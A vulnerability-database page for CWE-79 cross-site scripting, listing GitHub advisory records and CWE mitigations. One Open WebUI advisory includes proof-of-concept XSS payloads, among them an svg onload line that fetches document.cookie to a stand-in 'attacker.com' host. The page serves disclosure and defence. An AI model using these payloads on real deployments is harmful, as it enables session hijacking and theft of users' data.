CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
68875 vulnerabilities reference this CWE, most recent first.
GHSA-HCRJ-XJ9Q-M95Q
Vulnerability from github – Published: 2022-05-17 04:07 – Updated: 2022-05-17 04:07Cross-site scripting (XSS) vulnerability in the Diagnosis Ping feature in the administrative web interface on Moxa EDS-405A and EDS-408A switches with firmware before 3.6 allows remote attackers to inject arbitrary web script or HTML via an unspecified field.
{
"affected": [],
"aliases": [
"CVE-2015-6466"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-09-11T16:59:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in the Diagnosis Ping feature in the administrative web interface on Moxa EDS-405A and EDS-408A switches with firmware before 3.6 allows remote attackers to inject arbitrary web script or HTML via an unspecified field.",
"id": "GHSA-hcrj-xj9q-m95q",
"modified": "2022-05-17T04:07:42Z",
"published": "2022-05-17T04:07:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-6466"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-15-246-03"
},
{
"type": "WEB",
"url": "http://www.moxa.com/support/download.aspx?type=support\u0026id=328"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HCV5-VCH2-P84M
Vulnerability from github – Published: 2024-06-04 15:30 – Updated: 2026-04-01 18:31Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in WPvivid Team WPvivid Backup for MainWP allows Reflected XSS.This issue affects WPvivid Backup for MainWP: from n/a through 0.9.32.
{
"affected": [],
"aliases": [
"CVE-2024-35664"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-04T14:15:13Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Input During Web Page Generation (XSS or \u0027Cross-site Scripting\u0027) vulnerability in WPvivid Team WPvivid Backup for MainWP allows Reflected XSS.This issue affects WPvivid Backup for MainWP: from n/a through 0.9.32.",
"id": "GHSA-hcv5-vch2-p84m",
"modified": "2026-04-01T18:31:47Z",
"published": "2024-06-04T15:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35664"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/wpvivid-backup-mainwp/vulnerability/wordpress-wpvivid-backup-for-mainwp-plugin-0-9-32-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/wpvivid-backup-mainw/wordpress-wpvivid-backup-for-mainwp-plugin-0-9-32-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-HCVH-8PVQ-9PPX
Vulnerability from github – Published: 2026-02-16 18:31 – Updated: 2026-02-16 18:31Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains multiple cross-site scripting vulnerabilities in the proxy.cgi endpoint that allow attackers to inject malicious scripts through parameters including CACHE_SIZE, MAX_SIZE, MIN_SIZE, MAX_OUTGOING_SIZE, and MAX_INCOMING_SIZE. Attackers can submit POST requests with script payloads to store or reflect arbitrary JavaScript code that executes in users' browsers when the proxy configuration page is accessed.
{
"affected": [],
"aliases": [
"CVE-2019-25378"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-16T18:19:41Z",
"severity": "MODERATE"
},
"details": "Smoothwall Express 3.1-SP4-polar-x86_64-update9 contains multiple cross-site scripting vulnerabilities in the proxy.cgi endpoint that allow attackers to inject malicious scripts through parameters including CACHE_SIZE, MAX_SIZE, MIN_SIZE, MAX_OUTGOING_SIZE, and MAX_INCOMING_SIZE. Attackers can submit POST requests with script payloads to store or reflect arbitrary JavaScript code that executes in users\u0027 browsers when the proxy configuration page is accessed.",
"id": "GHSA-hcvh-8pvq-9ppx",
"modified": "2026-02-16T18:31:29Z",
"published": "2026-02-16T18:31:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25378"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/46333"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/smoothwall-express-proxycgi-cross-site-scripting"
},
{
"type": "WEB",
"url": "http://www.smoothwall.org"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-HCVJ-CM7M-2774
Vulnerability from github – Published: 2024-04-12 18:33 – Updated: 2024-04-12 18:33A vulnerability has been found in SourceCodester Computer Laboratory Management System 1.0 and classified as problematic. This vulnerability affects unknown code of the file /classes/Users.php. The manipulation of the argument id leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-260482 is the identifier assigned to this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2024-3695"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-12T16:15:40Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been found in SourceCodester Computer Laboratory Management System 1.0 and classified as problematic. This vulnerability affects unknown code of the file /classes/Users.php. The manipulation of the argument id leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-260482 is the identifier assigned to this vulnerability.",
"id": "GHSA-hcvj-cm7m-2774",
"modified": "2024-04-12T18:33:27Z",
"published": "2024-04-12T18:33:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3695"
},
{
"type": "WEB",
"url": "https://github.com/E1CHO/cve_hub/blob/main/Computer%20Laboratory%20Management%20System%20using%20PHP%20and%20MySQL%20-%20vuln%202.pdf"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.260482"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.260482"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.314071"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HCVJ-W5RV-PQXJ
Vulnerability from github – Published: 2022-05-14 01:46 – Updated: 2022-05-14 01:46Cross-site scripting in Text Editor in TerraMaster TOS version 3.1.03 allows attackers to execute JavaScript via the "filename" URL parameter.
{
"affected": [],
"aliases": [
"CVE-2018-13360"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-11-27T21:29:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting in Text Editor in TerraMaster TOS version 3.1.03 allows attackers to execute JavaScript via the \"filename\" URL parameter.",
"id": "GHSA-hcvj-w5rv-pqxj",
"modified": "2022-05-14T01:46:41Z",
"published": "2022-05-14T01:46:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-13360"
},
{
"type": "WEB",
"url": "https://blog.securityevaluators.com/vulnerabilities-in-terramaster-tos-3-1-03-fb99cf88b86a"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HCVP-89CC-4W77
Vulnerability from github – Published: 2023-05-31 03:30 – Updated: 2026-04-08 18:32The Blog-in-Blog plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'blog_in_blog' shortcode in versions up to, and including, 1.1.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with editor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2023-2436"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-31T03:15:09Z",
"severity": "MODERATE"
},
"details": "The Blog-in-Blog plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u0027blog_in_blog\u0027 shortcode in versions up to, and including, 1.1.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with editor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-hcvp-89cc-4w77",
"modified": "2026-04-08T18:32:05Z",
"published": "2023-05-31T03:30:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2436"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/blog-in-blog/tags/1.1.1/blog-in-blog.php#L257"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3446931"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5c6a88c3-18b7-470f-8014-373ead66dcfa?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HCVW-63RP-82PV
Vulnerability from github – Published: 2025-10-25 09:32 – Updated: 2025-10-25 09:32The Widget Options – The #1 WordPress Widget & Block Control Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple functions in all versions up to, and including, 4.1.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2025-10580"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-25T07:15:39Z",
"severity": "MODERATE"
},
"details": "The Widget Options \u2013 The #1 WordPress Widget \u0026 Block Control Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple functions in all versions up to, and including, 4.1.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-hcvw-63rp-82pv",
"modified": "2025-10-25T09:32:55Z",
"published": "2025-10-25T09:32:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10580"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3382357%40widget-options\u0026new=3382357%40widget-options\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8169e533-ef3b-4fd7-9571-61e5528b7652?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HCW3-QMMJ-PXW7
Vulnerability from github – Published: 2022-04-29 01:27 – Updated: 2022-04-29 01:27Nuked-Klan 1.3b, and possibly earlier versions, allows remote attackers to obtain sensitive server information via an op parameter set to phpinfo for the (1) Team, (2) News, or (3) Liens modules.
{
"affected": [],
"aliases": [
"CVE-2003-1371"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2003-12-31T05:00:00Z",
"severity": "MODERATE"
},
"details": "Nuked-Klan 1.3b, and possibly earlier versions, allows remote attackers to obtain sensitive server information via an op parameter set to phpinfo for the (1) Team, (2) News, or (3) Liens modules.",
"id": "GHSA-hcw3-qmmj-pxw7",
"modified": "2022-04-29T01:27:57Z",
"published": "2022-04-29T01:27:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2003-1371"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/11424"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2003-02/0276.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/6917"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HCW6-G9W4-84JX
Vulnerability from github – Published: 2022-05-17 04:43 – Updated: 2022-05-17 04:43Cross-site scripting (XSS) vulnerability in services/get_article.php in KrisonAV CMS before 3.0.2 allows remote attackers to inject arbitrary web script or HTML via the content parameter.
{
"affected": [],
"aliases": [
"CVE-2013-2712"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-05-23T14:55:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in services/get_article.php in KrisonAV CMS before 3.0.2 allows remote attackers to inject arbitrary web script or HTML via the content parameter.",
"id": "GHSA-hcw6-g9w4-84jx",
"modified": "2022-05-17T04:43:08Z",
"published": "2022-05-17T04:43:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-2712"
},
{
"type": "WEB",
"url": "https://www.htbridge.com/advisory/HTB23150"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2013-04/0184.html"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/24965"
},
{
"type": "WEB",
"url": "http://www.krisonav.com/index.php?module=articles_show\u0026articles_id=release-notes"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/59273"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HCWP-82G6-8WXC
Vulnerability from github – Published: 2026-05-14 20:18 – Updated: 2026-05-19 15:58Related advisory
This advisory tracks a regression of the original Excel-preview XSS that was
publicly disclosed and patched under GHSA-jwf8-pv5p-vhmc
(patched in v0.8.0). The same root cause — XLSX.utils.sheet_to_html() output
rendered via {@html excelHtml} without DOMPurify — was reintroduced sometime
after v0.8.0 and is exploitable again as of v0.8.12 and through the version
range listed above. This advisory additionally covers the related
fileOfficeHtml sink in src/lib/components/chat/FileNav.svelte
(lines 458 and 1285) which was not part of the jwf8 advisory's scope.
Summary
Open WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte's {@html} directive without DOMPurify sanitization. While the codebase has DOMPurify available and uses it in 9 out of 23 {@html} locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document.
This is a classic defense propagation failure: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces.
Root Cause
The defense primitive exists: DOMPurify.sanitize() is imported and used in components like General.svelte, MarkdownInlineTokens.svelte, Banner.svelte, and SVGPanZoom.svelte.
But 3 file-preview paths skip it:
Occurrence 1: FilePreview.svelte — Office HTML
File: src/lib/components/chat/FileNav/FilePreview.svelte line 324
{:else if fileOfficeHtml !== null}
<div class="office-preview overflow-auto flex-1 min-h-0">
{@html fileOfficeHtml} <!-- NO DOMPurify! -->
</div>
fileOfficeHtml is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization.
Occurrence 2: FileItemModal.svelte — Excel HTML
File: src/lib/components/common/FileItemModal.svelte line 560
{@html excelHtml} <!-- NO DOMPurify! -->
excelHtml is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied.
Occurrence 3: FileItemModal.svelte — DOCX HTML
File: src/lib/components/common/FileItemModal.svelte line 590
{@html docxHtml} <!-- NO DOMPurify! -->
docxHtml is generated from user-uploaded DOCX files converted to HTML. No sanitization applied.
Contrast with Sanitized Paths
For comparison, the same codebase correctly sanitizes in other locations:
<!-- MarkdownInlineTokens.svelte:130 — SAFE -->
{@html DOMPurify.sanitize(token.text, { ADD_ATTR: ['target'] })}
<!-- General.svelte:276 — SAFE -->
{@html DOMPurify.sanitize($config?.license_metadata?.html)}
<!-- Banner.svelte:103 — SAFE -->
{@html DOMPurify.sanitize(marked.parse(...))}
Defense Propagation Gap
| Metric | Value |
|---|---|
Total {@html} usages |
23 |
| With DOMPurify | 9 (39%) |
| Without DOMPurify | 14 (61%) |
| Confirmed exploitable (file preview) | 3 |
The remaining 11 unsanitized {@html} usages include syntax highlighting (hljs), KaTeX math rendering, and marked.parse() with sanitizeResponseContent() pre-processing — these have varying levels of inherent safety but still represent inconsistent defense application.
Tested Version
- Open WebUI v0.8.12 (commit
9bd8425, tagv0.8.12)
Steps to Reproduce
PoC 1: Malicious Excel File
-
Create a
.xlsxfile with a cell containing:<img src=x onerror="alert(document.cookie)">(Using a library like openpyxl to inject raw HTML into cell values) -
Upload the file to Open WebUI via the chat file upload
-
When any user previews the file →
excelHtmlrenders the injected HTML → XSS fires
PoC 2: Malicious DOCX File
-
Create a
.docxfile with embedded HTML:xml <w:r><w:t><![CDATA[<svg onload="fetch('https://attacker.com/steal?c='+document.cookie)">]]></w:t></w:r> -
Upload to Open WebUI
-
File preview renders
docxHtml→ XSS fires
PoC 3: Verify Rendering Path
// In browser devtools on Open WebUI, after uploading a file:
// The file preview component renders:
// FileItemModal → {@html excelHtml} // no DOMPurify
// FileItemModal → {@html docxHtml} // no DOMPurify
// FilePreview → {@html fileOfficeHtml} // no DOMPurify
// Compare with safe path:
// NotebookView → {@html DOMPurify.sanitize(toStr(output.data['text/html']))} // sanitized!
Impact
- Stored XSS — malicious file is stored server-side, XSS fires for every user who previews it
- Session hijacking via
document.cookietheft - Account takeover — attacker can perform actions as the victim user
- Data exfiltration — read chat history, API keys, uploaded documents
- Multi-user environments — shared Open WebUI instances are especially vulnerable (one malicious upload affects all viewers)
- Defense propagation failure — DOMPurify is available and used elsewhere, but not applied to file preview paths
Suggested Remediation
Apply DOMPurify to all three file preview paths:
<!-- FilePreview.svelte:324 — FIX -->
{@html DOMPurify.sanitize(fileOfficeHtml)}
<!-- FileItemModal.svelte:560 — FIX -->
{@html DOMPurify.sanitize(excelHtml)}
<!-- FileItemModal.svelte:590 — FIX -->
{@html DOMPurify.sanitize(docxHtml)}
Alternatively, adopt a defense-by-default pattern: create a wrapper component that always applies DOMPurify, making unsanitized {@html} usage a code review flag.
References
- CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)
- OWASP XSS Prevention Cheat Sheet
- GHSA-x75g-rp99-qqpx: Previous Open WebUI report (DNS rebinding TOCTOU, different vulnerability class)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.2"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45318"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:18:27Z",
"nvd_published_at": "2026-05-15T22:16:54Z",
"severity": "MODERATE"
},
"details": "## Related advisory\n\nThis advisory tracks a regression of the original Excel-preview XSS that was \npublicly disclosed and patched under [GHSA-jwf8-pv5p-vhmc](https://github.com/open-webui/open-webui/security/advisories/GHSA-jwf8-pv5p-vhmc) \n(patched in v0.8.0). The same root cause \u2014 `XLSX.utils.sheet_to_html()` output \nrendered via `{@html excelHtml}` without DOMPurify \u2014 was reintroduced sometime \nafter v0.8.0 and is exploitable again as of v0.8.12 and through the version \nrange listed above. This advisory additionally covers the related \n`fileOfficeHtml` sink in `src/lib/components/chat/FileNav.svelte` \n(lines 458 and 1285) which was not part of the jwf8 advisory\u0027s scope.\n\n## Summary\n\nOpen WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte\u0027s `{@html}` directive **without DOMPurify sanitization**. While the codebase has DOMPurify available and uses it in 9 out of 23 `{@html}` locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document.\n\nThis is a classic **defense propagation failure**: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces.\n\n## Root Cause\n\n**The defense primitive exists**: `DOMPurify.sanitize()` is imported and used in components like `General.svelte`, `MarkdownInlineTokens.svelte`, `Banner.svelte`, and `SVGPanZoom.svelte`.\n\n**But 3 file-preview paths skip it**:\n\n### Occurrence 1: FilePreview.svelte \u2014 Office HTML\n\n**File**: `src/lib/components/chat/FileNav/FilePreview.svelte` line 324\n\n```svelte\n{:else if fileOfficeHtml !== null}\n \u003cdiv class=\"office-preview overflow-auto flex-1 min-h-0\"\u003e\n {@html fileOfficeHtml} \u003c!-- NO DOMPurify! --\u003e\n \u003c/div\u003e\n```\n\n`fileOfficeHtml` is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization.\n\n### Occurrence 2: FileItemModal.svelte \u2014 Excel HTML\n\n**File**: `src/lib/components/common/FileItemModal.svelte` line 560\n\n```svelte\n{@html excelHtml} \u003c!-- NO DOMPurify! --\u003e\n```\n\n`excelHtml` is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied.\n\n### Occurrence 3: FileItemModal.svelte \u2014 DOCX HTML\n\n**File**: `src/lib/components/common/FileItemModal.svelte` line 590\n\n```svelte\n{@html docxHtml} \u003c!-- NO DOMPurify! --\u003e\n```\n\n`docxHtml` is generated from user-uploaded DOCX files converted to HTML. No sanitization applied.\n\n## Contrast with Sanitized Paths\n\nFor comparison, the same codebase correctly sanitizes in other locations:\n\n```svelte\n\u003c!-- MarkdownInlineTokens.svelte:130 \u2014 SAFE --\u003e\n{@html DOMPurify.sanitize(token.text, { ADD_ATTR: [\u0027target\u0027] })}\n\n\u003c!-- General.svelte:276 \u2014 SAFE --\u003e\n{@html DOMPurify.sanitize($config?.license_metadata?.html)}\n\n\u003c!-- Banner.svelte:103 \u2014 SAFE --\u003e\n{@html DOMPurify.sanitize(marked.parse(...))}\n```\n\n## Defense Propagation Gap\n\n| Metric | Value |\n|--------|-------|\n| Total `{@html}` usages | 23 |\n| With DOMPurify | 9 (39%) |\n| **Without DOMPurify** | **14 (61%)** |\n| Confirmed exploitable (file preview) | **3** |\n\nThe remaining 11 unsanitized `{@html}` usages include syntax highlighting (`hljs`), KaTeX math rendering, and `marked.parse()` with `sanitizeResponseContent()` pre-processing \u2014 these have varying levels of inherent safety but still represent inconsistent defense application.\n\n## Tested Version\n\n- Open WebUI v0.8.12 (commit `9bd8425`, tag `v0.8.12`)\n\n## Steps to Reproduce\n\n### PoC 1: Malicious Excel File\n\n1. Create a `.xlsx` file with a cell containing:\n ```\n \u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n ```\n (Using a library like openpyxl to inject raw HTML into cell values)\n\n2. Upload the file to Open WebUI via the chat file upload\n\n3. When any user previews the file \u2192 `excelHtml` renders the injected HTML \u2192 **XSS fires**\n\n### PoC 2: Malicious DOCX File\n\n1. Create a `.docx` file with embedded HTML:\n ```xml\n \u003cw:r\u003e\u003cw:t\u003e\u003c![CDATA[\u003csvg onload=\"fetch(\u0027https://attacker.com/steal?c=\u0027+document.cookie)\"\u003e]]\u003e\u003c/w:t\u003e\u003c/w:r\u003e\n ```\n\n2. Upload to Open WebUI\n\n3. File preview renders `docxHtml` \u2192 **XSS fires**\n\n### PoC 3: Verify Rendering Path\n\n```javascript\n// In browser devtools on Open WebUI, after uploading a file:\n// The file preview component renders:\n// FileItemModal \u2192 {@html excelHtml} // no DOMPurify\n// FileItemModal \u2192 {@html docxHtml} // no DOMPurify\n// FilePreview \u2192 {@html fileOfficeHtml} // no DOMPurify\n\n// Compare with safe path:\n// NotebookView \u2192 {@html DOMPurify.sanitize(toStr(output.data[\u0027text/html\u0027]))} // sanitized!\n```\n\n## Impact\n\n- **Stored XSS** \u2014 malicious file is stored server-side, XSS fires for every user who previews it\n- **Session hijacking** via `document.cookie` theft\n- **Account takeover** \u2014 attacker can perform actions as the victim user\n- **Data exfiltration** \u2014 read chat history, API keys, uploaded documents\n- **Multi-user environments** \u2014 shared Open WebUI instances are especially vulnerable (one malicious upload affects all viewers)\n- **Defense propagation failure** \u2014 DOMPurify is available and used elsewhere, but not applied to file preview paths\n\n## Suggested Remediation\n\nApply DOMPurify to all three file preview paths:\n\n```svelte\n\u003c!-- FilePreview.svelte:324 \u2014 FIX --\u003e\n{@html DOMPurify.sanitize(fileOfficeHtml)}\n\n\u003c!-- FileItemModal.svelte:560 \u2014 FIX --\u003e\n{@html DOMPurify.sanitize(excelHtml)}\n\n\u003c!-- FileItemModal.svelte:590 \u2014 FIX --\u003e\n{@html DOMPurify.sanitize(docxHtml)}\n```\n\nAlternatively, adopt a **defense-by-default pattern**: create a wrapper component that always applies DOMPurify, making unsanitized `{@html}` usage a code review flag.\n\n## References\n\n- CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)\n- OWASP XSS Prevention Cheat Sheet\n- GHSA-x75g-rp99-qqpx: Previous Open WebUI report (DNS rebinding TOCTOU, different vulnerability class)",
"id": "GHSA-hcwp-82g6-8wxc",
"modified": "2026-05-19T15:58:48Z",
"published": "2026-05-14T20:18:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-hcwp-82g6-8wxc"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jwf8-pv5p-vhmc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45318"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI has stored XSS via unsanitized Office/Excel/DOCX file preview rendering ({@html} without DOMPurify)"
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
